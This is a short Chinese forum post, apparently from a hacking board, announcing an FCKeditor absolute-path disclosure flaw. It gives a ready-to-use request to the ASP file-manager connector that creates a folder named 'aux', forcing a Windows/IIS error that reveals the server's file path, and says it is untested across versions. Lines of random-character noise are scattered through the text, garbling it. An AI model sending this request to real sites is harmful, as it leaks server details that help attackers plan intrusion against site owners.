最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux

% c6 f' M$ W* k. |& `% d
7 n2 T- M+ z: H, j! X  u3 C版本未测试。。。

: y1 z% u6 ~* i! _3 S1 E" S2 q6 l3 N原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
0 R$ o+ E# \& z# U$ K* u3 w! B
$ K  l/ i; n6 U4 z/ Z
9 F6 i. h- E/ H1 f) m+ _! f* L听说IIS都可以。。
1 p  U& `2 e9 ~; J9 T: ?" {) t